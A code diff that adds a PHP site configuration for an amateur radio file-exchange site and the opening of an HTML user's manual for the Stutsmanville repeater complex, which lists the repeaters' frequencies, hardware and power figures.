+ // European - use dd/mm/yyyy for numeric date representations., "17/12/1997 15:37:16.00 MET"
+ // US - use mm/dd/yyyy for numeric date representations., "12/17/1997 07:37:16.00 PST"
+ // German - use dd.mm.yyyy for numeric date representations., "17.12.1997 07:37:16.00 PST"
+define( 'SI_DB_STATIC', TRUE ); // If true database functions don't automatically close a connection and will re-use if possible
+define( "SI_DB_SET_DATE_STYLE_STRING", "SET DATESTYLE TO '".SI_DB_DATE_STYLE."';\n" );
+
+
+ // Graphics support
+
+define( "SI_GRPH_CONVERT", "/usr/bin/convert" );
+define( "SI_GRPH_DJPEG", "/usr/bin/djpeg ");
+define( "SI_GRPH_CJPEG", "/usr/bin/cjpeg ");
+define( "SI_GRPH_PNMSCALE", "/usr/bin/pnmscale ");
+define( "SI_GRPH_GIFTOPNM", "/usr/bin/giftopnm ");
+define( "SI_GRPH_PPMTOGIF", "/usr/bin/ppmtogif ");
+define( "SI_GRPH_PPMQUANT", "/usr/bin/ppmquant ");
+
+define( "SI_IMAGE_DIR", "images" );
+define( "SI_BASE_IMAGE_URL", SI_BASE_URL."/".SI_IMAGE_DIR );
+define( "SI_BASE_IMAGE_PATH", SI_BASE_PATH."/".SI_IMAGE_DIR );
+
+define( "SI_IMG_ORIGINAL_URL", SI_BASE_IMAGE_URL."/original" );
+define( "SI_IMG_RESIZED_URL", SI_BASE_IMAGE_URL."/resized" );
+define( "SI_IMG_MIDSIZED_URL", SI_BASE_IMAGE_URL."/midsized" );
+define( "SI_IMG_THUMB_URL", SI_BASE_IMAGE_URL."/thumb" );
+
+define( "SI_IMG_ORIGINAL_PATH", SI_BASE_IMAGE_PATH."/original" );
+define( "SI_IMG_RESIZED_PATH", SI_BASE_IMAGE_PATH."/resized" );
+define( "SI_IMG_MIDSIZED_PATH", SI_BASE_IMAGE_PATH."/midsized" );
+define( "SI_IMG_THUMB_PATH", SI_BASE_IMAGE_PATH."/thumb" );
+define( "SI_POSTCARD_URL", SI_BASE_URL."/index.phtml" );
+
+$si_today = date( 'n/d/Y' ); // Today's date
+$si_timestamp = time(); // Current Timestamp
+
+define( "SI_COPYRIGHT_YEARS", "2002-".date("Y") ); // Years for copyright statement in footer
+
+
+/********************************************************************************
+ *
+ * Customer Related Configuration
+ *
+ ********************************************************************************/
+
+ // Information about the customer
+
+define( "SI_CUSTOMER_NAME", "N8DNX" );
+define( "SI_CUSTOMER_LONG_NAME", "Chuck Scott - N8DNX" );
+define( "SI_CUSTOMER_PHONE", "PHONE_NO_NOT_SET" );
+define( "SI_CUSTOMER_FAX", "FAX_NO_NOT_SET" );
+define( "SI_CUSTOMER_TOLL_FREE", "231-347-9941" );
+define( "SI_CUSTOMER_ADDRESS", "1105 Tall Pines Ct." );
+define( "SI_CUSTOMER_CITY", "Petoskey" );
+define( "SI_CUSTOMER_STATE", "Michigan" );
+define( "SI_CUSTOMER_ZIP", "49770" );
+define( "SI_CUSTOMER_FROM_EMAIL", "CUST_EMAIL_NOT_SET" );
+define( "SI_CUSTOMER_LETTER_CLOSING", "Sincerely," );
+
+ // Strings for TITLE tags
+
+define( "SI_CUSTOMER_META_KEYWORDS", // Meta Keywords for search engines
+"Functions Library Development" );
+
+define( "SI_CUSTOMER_META_DESCR", // Meta description for search engines
+"Gaslight Media Standard Functions Library Development." );
+
+define( "SI_CUSTOMER_ASSETS", SI_BASE_URL."/assets" );
+
+define( "SI_CUST_LOGO", "assets/logo.gif" );
+define( "SI_CUST_LOGO_MEDIUM", "assets/logo_medium.gif" );
+define( "SI_CUST_LOGO_SMALL", "assets/logo_small.gif" );
+
+define( "SI_CUST_LOGO_URL", $si_base_url."/".SI_CUST_LOGO );
+define( "SI_CUST_LOGO_MEDIUM_URL", $si_base_url."/".SI_CUST_LOGO_MEDIUM );
+define( "SI_CUST_LOGO_SMALL_URL", $si_base_url."/".SI_CUST_LOGO_SMALL );
+
+
+// -----------------------------------
+// Application Specific Configurations
+// -----------------------------------
+
+ // File Exchange
+
+$TOOLS_TITLE = "N8DNX File Exchange";
+$TOOLS_NAME = "FileExchange";
+$SERVER_URL = SI_BASE_URL.'/admin';
+$SERVER_PATH = SI_BASE_PATH.'/admin';
+$DATA_PATH = SI_BASE_PATH.'/FileExchange/data';
+$CUST_URL = SI_BASE_URL.'/FileExchange';
+$DATA_URL = "$CUST_URL/data";
+$TOOLS_HELP_PATH = SI_BASE_URL.'/FileExchange/help_files';
+
+ // Look and Feel section
+
+$LF_BG_CLR = "#C6EFF7"; // Background color
+$LF_LINK_CLR = "#BLUE"; // Link color
+$LF_VLINK_CLR = "#BLUE"; // Visited link color
+$LF_ALINK_CLR = "#CYAN"; // Active link Color
+$LF_NOLINK_CLR = "#A1A1A1"; // Unavailable link color
+
+$LF_TABLE_CLR = "#FFFFFF"; // Table color (working area background)
+$LF_HEADER_CLR = "#00A5C6"; // Table header background color
+$LF_FOOTER_CLR = "#00A5C6"; // Table footer background color
+$LF_TITLE_CLR = "#005263"; // Admin page title color
+$LF_TITLE_2_CLR = "#FFFF10"; // Admin page title line #2 color
+$LF_REQ_FIELD_CLR = "BLUE"; // Color of required fields in forms
+#LF_COPYWRIGHT_CLR = "#005263"; // Copywright line color
+
+$LF_HELP_BG_CLR = "#FFFFFF"; // Help system background color
+$LF_HELP_TEXT_CLR = "#000000"; // Help system text color
+
+$LF_ERROR_CLR = "red"; // Error message color
+
+$LF_HEAD1 = '<FONT SIZE="6" COLOR="'.$LF_HEADER_CLR.'">';
+
+ // Misc Definitions
+
+$ENTRIES_PER_PAGE = 10;
+$GM_COPYWRIGHT = "Copyright © 1998-2000 <A HREF=\"http://www.gaslightmedia.com/\">Gaslight Media</A> - All rights reserved.";
+
+$header_sent = FALSE;
+
+
+// -------------------------------
+// Other misc. configuration items
+// -------------------------------
+
+ // Image related configuration
+
+define( "SI_THEIGHT", "60" );
+define( "SI_RESIZED_SIZE", "287" );
+define( "SI_MIDSIZED_SIZE", "178" );
+define( "SI_THUMB_SIZE", "80" );
+
+ // Calender applet configuration
+
+define( "SI_CAL_BKND", "#EFEFEF"); // Window Background color
+define( "SI_CAL_TABLE", "#FFFFFF"); // Table background color
+define( "SI_CAL_HEAD", "#FFFFFF"); // Table Header Color (days)
+define( "SI_CAL_DATE", "#FFFFFF"); // Background color of days
+define( "SI_CAL_TODAY", "yellow"); // Background color of todays date
+define( "SI_CAL_NODATE", "#E0E0E0"); // Background color of non-dates
+
+define( "SI_SES_TIMEOUT", "86400" ); // Session timeout - 1 Hour
+
+ // Defaults for things in functions.inc
+
+define( "SI_DEFAULT_TEXTBOX_COLS", 60 );
+define( "SI_DEFAULT_TEXTBOX_ROWS", 6 );
+
+
+
+
+// ----------------------------------------------
+// Other misc. things you don't need to mess with
+// ----------------------------------------------
+
+$si_month_array = array
+ (
+ 1 => "January",
+ 2 => "February",
+ 3 => "March",
+ 4 => "April",
+ 5 => "May",
+ 6 => "June",
+ 7 => "July",
+ 8 => "August",
+ 9 => "September",
+ 10 => "October",
+ 11 => "November",
+ 12 => "December"
+ );
+
+ // Countries list
+ // For the "out of sequence" countries there is no need to remove them from the full list
+ // For update see....http://www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/index.html
+
+$si_countries_array = array
+ (
+ // Out of sequence for convenience
+ 'US' => 'United States',
+ 'CA' => 'Canada',
+
+ "AF" => "Afghanistan",
+ "AX" => "Land Islands",
+ "AL" => "Albania",
+ "DZ" => "Algeria",
+ "AS" => "American Samoa",
+ "AD" => "Andorra",
+ "AO" => "Angola",
+ "AI" => "Anguilla",
+ "AQ" => "Antarctica",
+ "AG" => "Antigua and Barbuda",
+ "AR" => "Argentina",
+ "AM" => "Armenia",
+ "AW" => "Aruba",
+ "AU" => "Australia",
+ "AT" => "Austria",
+ "AZ" => "Azerbaijan",
+ "BS" => "Bahamas",
+ "BH" => "Bahrain",
+ "BD" => "Bangladesh",
+ "BB" => "Barbados",
+ "BY" => "Belarus",
+ "BE" => "Belgium",
+ "BZ" => "Belize",
+ "BJ" => "Benin",
+ "BM" => "Bermuda",
+ "BT" => "Bhutan",
+ "BO" => "Bolivia",
+ "BA" => "Bosnia and Herzegovina",
+ "BW" => "Botswana",
+ "BV" => "Bouvet Island",
+ "BR" => "Brazil",
+ "IO" => "British Indian Ocean Territory",
+ "BN" => "Brunei Darussalam",
+ "BG" => "Bulgaria",
+ "BF" => "Burkina Faso",
+ "BI" => "Burundi",
+ "KH" => "Cambodia",
+ "CM" => "Cameroon",
+ "CA" => "Canada",
+ "CV" => "Cape Verde",
+ "KY" => "Cayman Islands",
+ "CF" => "Central African Republic",
+ "TD" => "Chad",
+ "CL" => "Chile",
+ "CN" => "China",
+ "CX" => "Christmas Island",
+ "CC" => "Cocos (Keeling) Islands",
+ "CO" => "Colombia",
+ "KM" => "Comoros",
+ "CG" => "Congo",
+ "CD" => "Congo, the Democratic Rep. of",
+ "CK" => "Cook Islands",
+ "CR" => "Costa Rica",
+ "CI" => "Cote D'Ivoire",
+ "HR" => "Croatia",
+ "CU" => "Cuba",
+ "CY" => "Cyprus",
+ "CZ" => "Czech Republic",
+ "DK" => "Denmark",
+ "DJ" => "Djibouti",
+ "DM" => "Dominica",
+ "DO" => "Dominican Republic",
+ "EC" => "Ecuador",
+ "EG" => "Egypt",
+ "SV" => "El Salvador",
+ "GQ" => "Equatorial Guinea",
+ "ER" => "Eritrea",
+ "EE" => "Estonia",
+ "ET" => "Ethiopia",
+ "FK" => "Falkland Islands (Malvinas)",
+ "FO" => "Faroe Islands",
+ "FJ" => "Fiji",
+ "FI" => "Finland",
+ "FR" => "France",
+ "GF" => "French Guiana",
+ "PF" => "French Polynesia",
+ "TF" => "French Southern Territories",
+ "GA" => "Gabon",
+ "GM" => "Gambia",
+ "GE" => "Georgia",
+ "DE" => "Germany",
+ "GH" => "Ghana",
+ "GI" => "Gibraltar",
+ "GR" => "Greece",
+ "GL" => "Greenland",
+ "GD" => "Grenada",
+ "GP" => "Guadeloupe",
+ "GU" => "Guam",
+ "GT" => "Guatemala",
+ "GN" => "Guinea",
+ "GW" => "Guinea-Bissau",
+ "GY" => "Guyana",
+ "HT" => "Haiti",
+ "HM" => "Heard Island, McDonald Islands",
+ "VA" => "Holy see (Vatican City State)",
+ "HN" => "Honduras",
+ "HK" => "Hong Kong",
+ "HU" => "Hungary",
+ "IS" => "Iceland",
+ "IN" => "India",
+ "ID" => "Indonesia",
+ "IR" => "Iran, Islamic Republic of",
+ "IQ" => "Iraq",
+ "IE" => "Ireland",
+ "IL" => "Israel",
+ "IT" => "Italy",
+ "JM" => "Jamaica",
+ "JP" => "Japan",
+ "JO" => "Jordan",
+ "KZ" => "Kazakhstan",
+ "KE" => "Kenya",
+ "KI" => "Kiribati",
+ "KP" => "Korea, Democratic People's Rep. of",
+ "KR" => "Korea, Republic of",
+ "KW" => "Kuwait",
+ "KG" => "Kyrgyzstan",
+ "LA" => "Lao People's Democratic Republic",
+ "LV" => "Latvia",
+ "LB" => "Lebanon",
+ "LS" => "Lesotho",
+ "LR" => "Liberia",
+ "LY" => "Libyan Arab Jamahiriya",
+ "LI" => "Liechtenstein",
+ "LT" => "Lithuania",
+ "LU" => "Luxembourg",
+ "MO" => "Macao",
+ "MK" => "Macedonia, the Former Yugoslav Rep.",
+ "MG" => "Madagascar",
+ "MW" => "Malawi",
+ "MY" => "Malaysia",
+ "MV" => "Maldives",
+ "ML" => "Mali",
+ "MT" => "Malta",
+ "MH" => "Marshall Islands",
+ "MQ" => "Martinique",
+ "MR" => "Mauritania",
+ "MU" => "Mauritius",
+ "YT" => "Mayotte",
+ "MX" => "Mexico",
+ "FM" => "Micronesia, Federated States of",
+ "MD" => "Moldova, Republic of",
+ "MC" => "Monaco",
+ "MN" => "Mongolia",
+ "MS" => "Montserrat",
+ "MA" => "Morocco",
+ "MZ" => "Mozambique",
+ "MM" => "Myanmar",
+ "NA" => "Namibia",
+ "NR" => "Nauru",
+ "NP" => "Nepal",
+ "NL" => "Netherlands",
+ "AN" => "Netherlands Antilles",
+ "NC" => "New Caledonia",
+ "NZ" => "New Zealand",
+ "NI" => "Nicaragua",
+ "NE" => "Niger",
+ "NG" => "Nigeria",
+ "NU" => "Niue",
+ "NF" => "Norfolk Island",
+ "MP" => "Northern Mariana Islands",
+ "NO" => "Norway",
+ "OM" => "Oman",
+ "PK" => "Pakistan",
+ "PW" => "Palau",
+ "PS" => "Palestinian Territory, Occupied",
+ "PA" => "Panama",
+ "PG" => "Papua New Guinea",
+ "PY" => "Paraguay",
+ "PE" => "Peru",
+ "PH" => "Philippines",
+ "PN" => "Pitcairn",
+ "PL" => "Poland",
+ "PT" => "Portugal",
+ "PR" => "Puerto Rico",
+ "QA" => "Qatar",
+ "RE" => "Reunion",
+ "RO" => "Romania",
+ "RU" => "Russian Federation",
+ "RW" => "Rwanda",
+ "SH" => "Saint Helena",
+ "KN" => "Saint Kitts and Nevis",
+ "LC" => "Saint Lucia",
+ "PM" => "Saint Pierre and Miquelon",
+ "VC" => "Saint Vincent and the Grenadines",
+ "WS" => "Samoa",
+ "SM" => "San Marino",
+ "ST" => "Sao Tome and Principe",
+ "SA" => "Saudi Arabia",
+ "SN" => "Senegal",
+ "CS" => "Serbia and Montenegro",
+ "SC" => "Seychelles",
+ "SL" => "Sierra Leone",
+ "SG" => "Singapore",
+ "SK" => "Slovakia",
+ "SI" => "Slovenia",
+ "SB" => "Solomon Islands",
+ "SO" => "Somalia",
+ "ZA" => "South Africa",
+ "GS" => "South Georgia, South Sandwich Islands",
+ "ES" => "Spain",
+ "LK" => "Sri Lanka",
+ "SD" => "Sudan",
+ "SR" => "Suriname",
+ "SJ" => "Svalbard and Jan Mayen",
+ "SZ" => "Swaziland",
+ "SE" => "Sweden",
+ "CH" => "Switzerland",
+ "SY" => "Syrian Arab Republic",
+ "TW" => "Taiwan, Province of China",
+ "TJ" => "Tajikistan",
+ "TZ" => "Tanzania, United Republic of",
+ "TH" => "Thailand",
+ "TL" => "Timor-Leste",
+ "TG" => "Togo",
+ "TK" => "Tokelau",
+ "TO" => "Tonga",
+ "TT" => "Trinidad and Tobago",
+ "TN" => "Tunisia",
+ "TR" => "Turkey",
+ "TM" => "Turkmenistan",
+ "TC" => "Turks and Caicos Islands",
+ "TV" => "Tuvalu",
+ "UG" => "Uganda",
+ "UA" => "Ukraine",
+ "AE" => "United Arab Emirates",
+ "GB" => "United Kingdom",
+ "US" => "United States",
+ "UM" => "United States minor outlying islands",
+ "UY" => "Uruguay",
+ "UZ" => "Uzbekistan",
+ "VU" => "Vanuatu",
+ "VE" => "Venezuela",
+ "VN" => "Viet Nam",
+ "VG" => "Virgin Islands, British",
+ "VI" => "Virgin Islands, U.S.",
+ "WF" => "Wallis and Futuna",
+ "EH" => "Western Sahara",
+ "YE" => "Yemen",
+ "ZM" => "Zambia",
+ "ZW" => "Zimbabwe"
+ );
+
+$si_countries_list = $s = "";
+while( list($k, $v) = each($si_countries_array) )
+ {
+ $si_countries_list .= "$s$k^$v";
+ $s = "~";
+ }
+
+$si_states_array = array
+ (
+ "AL" => "Alabama",
+ "AK" => "Alaska",
+ "AB" => "Alberta",
+ "AZ" => "Arizona",
+ "AR" => "Arkansas",
+ "BC" => "British Columbia",
+ "CA" => "California",
+ "CO" => "Colorado",
+ "CT" => "Connecticut",
+ "DE" => "Delaware",
+ "DC" => "District of Columbia",
+ "FL" => "Florida",
+ "GA" => "Georgia",
+ "GU" => "Guam",
+ "HI" => "Hawaii",
+ "ID" => "Idaho",
+ "IL" => "Illinois",
+ "IN" => "Indiana",
+ "IA" => "Iowa",
+ "KS" => "Kansas",
+ "KY" => "Kentucky",
+ "LA" => "Louisiana",
+ "ME" => "Maine",
+ "MB" => "Manitoba",
+ "MD" => "Maryland",
+ "MA" => "Massachusetts",
+ "MI" => "Michigan",
+ "MN" => "Minnesota",
+ "MS" => "Mississppi",
+ "MO" => "Missouri",
+ "MT" => "Montana",
+ "NE" => "Nebraska",
+ "NV" => "Nevada",
+ "NB" => "New Brunswick",
+ "NF" => "Newfoundland",
+ "NH" => "New Hampshire",
+ "NJ" => "New Jersey",
+ "NM" => "New Mexico",
+ "NY" => "New York",
+ "NC" => "North Carolina",
+ "ND" => "North Dakota",
+ "NT" => "Northwest Territories",
+ "NS" => "Nova Scotia",
+ "OH" => "Ohio",
+ "OK" => "Oklahoma",
+ "ON" => "Ontario",
+ "OR" => "Oregon",
+ "PA" => "Pennsylvania",
+ "PE" => "Prince Edward Island",
+ "PR" => "Puerto Rico",
+ "QC" => "Quebec",
+ "RI" => "Rhode Island",
+ "SK" => "Saskatchewan",
+ "SC" => "South Carolina",
+ "SD" => "South Dakota",
+ "TN" => "Tennessee",
+ "TX" => "Texas",
+ "UT" => "Utah",
+ "VT" => "Vermont",
+ "VI" => "Virgin Islands",
+ "VA" => "Virginia",
+ "WA" => "Washington",
+ "WV" => "West Virginia",
+ "WI" => "Wisconsin",
+ "WY" => "Wyoming",
+ "YT" => "Yukon"
+ );
+
+$si_states_list = $s = "";
+while( list($k, $v) = each($si_states_array) )
+ {
+ $si_states_list .= "$s$k^$v";
+ $s = "~";
+ }
+
+ // Websafe colors - Not including Black and White
+
+$si_websafe_colors = array
+ (
+ "Beige" => "#F6D89F",
+ "Light Purple" => "#8F9ABF",
+ "Gold" => "#EDBC49",
+ "Light Blus" => "#4FC9F5",
+ "Pink" => "#F8C1D9",
+ "Tan" => "#C5B49A",
+ "Mint" => "#7DF2CA",
+ "Light Orange" => "#FFCC99",
+ "Dark Blue" => "#0099CC",
+ "Antique White" => "#FAEBD7",
+ "Lavendar" => "#E6E6FA",
+ "Tomato" => "#FF6347",
+ "Light Salmon" => "#FFA07A"
+ );
+
+ // Build Websafe color list for use in standard function calls
+
+$si_websafe_color_list = $s = "";
+while( list($k, $v) = each($si_websafe_colors) )
+ {
+ $si_websafe_color_list .= "$s$v^$k";
+ $s = "~";
+ }
+
+ // Other useable colors
+
+$si_std_colors = array
+ (
+ "#006400",
+ "#00CED1",
+ "#00FA9A",
+ "#191970",
+ "#20B2AA",
+ "#228B22",
+ "#2F4F4F",
+ "#32CD32",
+ "#388E8E",
+ "#3CB371",
+ "#40E0D0",
+ "#4169E1",
+ "#4682B4",
+ "#483D8B",
+ "#48D1CC",
+ "#4B0082",
+ "#555555",
+ "#556B2F",
+ "#5F9EA0",
+ "#6495ED",
+ "#6A5ACD",
+ "#6B8E23",
+ "#708090",
+ "#7171C6",
+ "#71C671",
+ "#778899",
+ "#7B68EE",
+ "#7CFC00",
+ "#7D9EC0",
+ "#8470FF",
+ "#87CEEB",
+ "#87CEFA",
+ "#8A2BE2",
+ "#8E388E",
+ "#8E8E38",
+ "#8FBC8F",
+ "#9370DB",
+ "#9400D3",
+// "#98FB98",
+ "#9932CC",
+ "#A020F0",
+ "#A0522D",
+ "#A52A2A",
+ "#A9A9A9",
+ "#AAAAAA",
+// "#ADD8E6",
+ "#ADFF2F",
+ "#B03060",
+ "#B0C4DE",
+// "#B0E0E6",
+ "#B22222",
+ "#B8860B",
+ "#BA55D3",
+ "#BC8F8F",
+ "#BDB76B",
+ "#BEBEBE",
+ "#C5C1AA",
+ "#C67171",
+ "#C71585",
+ "#CD5C5C",
+ "#D02090",
+ "#D2691E",
+ "#D2B48C",
+// "#D3D3D3",
+ "#D8BFD8",
+ "#DA70D6",
+ "#DAA520",
+ "#DB7093",
+ "#DC143C",
+// "#DCDCDC",
+ "#DDA0DD",
+ "#DEB887",
+// "#E6E6FA",
+ "#E9967A",
+ "#EE82EE",
+// "#EEE8AA",
+ "#F08080",
+// "#F0E68C",
+// "#F0F8FF",
+ "#F4A460",
+// "#F5DEB3",
+// "#F5F5DC",
+// "#F5FFFA",
+// "#F8F8FF",
+ "#FA8072",
+// "#FAEBD7",
+// "#FAF0E6",
+// "#FAFAD2",
+// "#FDF5E6",
+ "#FF69B4",
+ "#FF7F50",
+ "#FF8C00",
+ "#FFB6C1",
+ "#FFC0CB",
+ "#FFD700"
+// "#FFE4B5",
+// "#FFEBCD",
+// "#FFEFD5",
+// "#FFFAF0"
+ );
+
+ // Determine number of bits in an integer useable for a bitmap - PHP doesn't have sizeof()
+
+settype( $test_int, "integer" );
+$test_int = 1;
+for( $i=1 ; $i<100 ; $i++ )
+ {
+ $t = $test_int * 2;
+ $test_int = $test_int << 1;
+ if( $test_int != $t )
+ break;
+ }
+define( 'SI_INT_SIZE', $i );
+
+
+} // if( !isset($siteinfo) )
+
+?>
--- /dev/null
+<HTML>
+ <HEAD>
+ </HEAD>
+ <BODY BGCOLOR="white">
+
+<H1>Stutsmanvill Repeater Complex - User's Manual</H1>
+<HR>
+<P>
+
+<P>
+<H2>Table of Contents</H2>
+<P>
+<UL>
+ <DD><A HREF="#SystemOverview">System Overview</A>
+ <DD><A HREF="#Etiquette">Repeater Operation and Etiquette</A>
+ <DD><A HREF="#Security">Registered User Security</A>
+ <DD><A HREF="#Help">On-Line Help System</A>
+ <DD><A HREF="#Commands">User Command Descriptions</A>
+ <UL>
+ <DD><A HREF="#MainHelp">System Information and Help Messages</A>
+ <DD><A HREF="#PL">PL Access Commands</A>
+ <DD><A HREF="#VoiceMAil">Voice Mail and Bulletin Commands</A>
+ <DD><A HREF="#Intra">Intra-System Linking COmmands</A>
+ <DD><A HREF="#Preset">Preset Remote Base Linking Commands</A>
+ <DD><A HREF="#Remote">General Remote Base Operations</A>
+ <DD><A HREF="#Weather">Weather Alert and Monitoring Commands</A>
+ <DD><A HREF="#SecurityAccess">Security and Access Commands</A>
+ <DD><A HREF="#Test">Test and Diagnostic Commands</A>
+ <DD><A HREF="#Status">System Status Commands</A>
+ </UL>
+ <DD><A HREF="#IRLP">IRLP - Internet Radio Linking Project</A>
+ <UL>
+ <DD><A HREF="#IRLPGuidlines">IRLP Node Use Guidlines</A>
+ </UL>
+ <DD><A HREF="#CommandRef">User Command Reference</A>
+ <DD><A HREF="#RemoteBase">Remote Base User's Manual</A>
+ <UL>
+ <DD><A HREF="#RemoteCmds">Remote Base Command Codes</A>
+ <DD><A HREF="#RemRef">Remote Base Quick Reference Guide</A>
+ </UL>
+
+</UL>
+
+<P>
+
+<P>
+<A NAME="SystemOverview"></A>
+<H2>System Overview</H2>
+The W8GQN/N8DNX/KO8P Repeater system, located on a hill just west of Stutsmanville Michigan, consists of the
+Straits Area Amateur Radio Club (SAARC) VHF repeater and the N8DNX/KO8P privately owned UHF repeaters and
+remote base. Both systems cover much of the Northern part of the Lower Peninsula, and Eastern part of
+the Upper Peninsula of Michigan. These systems share a common controller, power systems and ancillary equipment.
+
+<TABLE BORDER="0">
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>W8GQN Repeater</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH> <TD>146.680 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH> <TD>146.080 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Offset:</TH> <TD>-600 KHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH> <TD>110.9 Hz (normally required)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH> <TD>GE Receiver<BR>
+ Quintron Transmitter</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH> <TD>100W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Duplexer:</TH> <TD>6 Can Custom<BR>
+ 1.5 db loss (aprox)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Transmission Line:</TH> <TD>450' 7/8" Heliax<BR>
+ 1.98 db loss (.44 db/ft)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Line sharing:</TH> <TD>TX/RX Crossband Couplers (for sharing line with UHF Rptr)<BR>
+ .15 db loss each - total .3 db</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Antenna:</TH> <TD>Sinclair 4 Bay Dipole?<BR>
+ 6 db gain</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH> <TD>41.9 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">ERP:</TH> <TD>166.7 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Height on Tower:</TH> <TD>405'</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">HAAT:</TH> <TD>784'</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Height above Sea Level:</TH> <TD>1655'</TD></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>N8DNX Repeater</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH> <TD>442.375 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH> <TD>447.375 Mhz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Offset:</TH> <TD>+5.00 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH> <TD>107.2 Hz (normally not required)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH> <TD>Vertex VXR-5000</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Amplifier:</TH> <TD>TPL</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH> <TD>250W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Duplexer:</TH> <TD>(none)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Transmission Line:</TH> <TD>Transmit - 450' 7/8" Heliax (shared with W8GQN repeater)<BR>
+ Receive - 550' LMR-400</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Tranmission Line Loss:</TH> <TD>Transmit - 3.7 db<BR>
+ Receive - 14.85 (overcome by preamp gain)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Line Sharing:</TH> <TD>TX/RX Crossband Couplers (for sharing line with VHF Rptr)<BR>
+ .15 db loss each - total .3 db</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Antenna:</TH> <TD>Transmit - Sinclair 8 Bay Dipole<BR>
+ Receive - Sinclair 8 Bay Dipole</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH> <TD>55.9 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">ERP:</TH> <TD>444.2 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Height on Tower:</TH> <TD>Transmit 405', Receive 477'</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">HAAT:</TH> <TD>Transmit 784', Receive 856'</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Height above Sea Level:</TH> <TD>Transmit 1655', Receive 1727'</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Preamp:</TH> <TD>Angle Linear High Level Preamp - Gain ~ 20db (mounted at antenna)</TD></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>KO8P Repeater</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH> <TD>443.375 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH> <TD>448.375 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Offset:</TH> <TD>+5.00 MHz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH> <TD>107.2 Hz (normally not required)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH> <TD>Vertex VXR-5000</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH> <TD>25W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH> <TD>7.5 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">ERP:</TH> <TD>59.5 W</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">(all other stats same as N8DNX Repeater)</TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>Remote Base</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">HF Radio:</TH> <TD>Kenwood TS-450S<BR>
+ Transmit: 160-10 Meter Ham Bands<BR>
+ Receive: .1 - 30 MHz continuous</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">HF Antenna:</TH> <TD>Hy-Gain 18HT vertical, currently with 17M kit and 30 60' radials</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">VHF/UHF Radio:</TH> <TD>Yaesu FT-736<BR>
+ Transmit & Receive: 50, 144, 220, & 440 MHz All Modes</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">VHF/UHF Antennas:</TH> <TD>Single 6 Meter folded dipole and Diamond X3200A for 144, 220, & 440 MHz</TD></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>Controller</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Model:</TH> <TD>Link Communications RLC-3</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Radio Cards:</TH> <TD>8 </TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Audio Delay:</TH> <TD>Aprox. 200 ms on W8GQN and N8DNX repeaters</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Digital Voice Recorder:</TH> <TD>DVR-1 with 16 MB memory - 35 Min. total record time</TD></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"> <P><U>Power</U></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Primary Power:</TH> <TD>110v AC</TD></TR>
